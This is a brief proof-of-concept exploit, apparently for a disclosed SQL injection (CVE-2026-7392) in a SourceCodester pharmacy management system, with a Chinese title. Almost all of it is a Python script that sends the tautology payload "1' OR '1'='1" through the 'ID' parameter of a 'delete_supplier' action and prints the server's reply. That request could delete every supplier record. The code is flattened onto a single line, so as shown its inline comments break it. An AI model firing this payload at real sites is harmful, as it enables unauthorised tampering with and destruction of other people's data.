CVE-2026-7392 SourceCodester药房系统SQL注入漏洞

import requests # Target URL endpoint url = "http://target-site.com/ajax.php" # Vulnerable parameters # The 'ID' parameter is not sanitized, leading to SQL injection payload = { "action": "delete_supplier", "ID": "1' OR '1'='1" # Simple PoC to test logical injection } try: # Sending malicious request response = requests.get(url, params=payload) # Check if the response indicates successful injection or database error if response.status_code == 200: print("Request sent successfully.") print(f"Response: {response.text[:200]}...") else: print(f"Status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")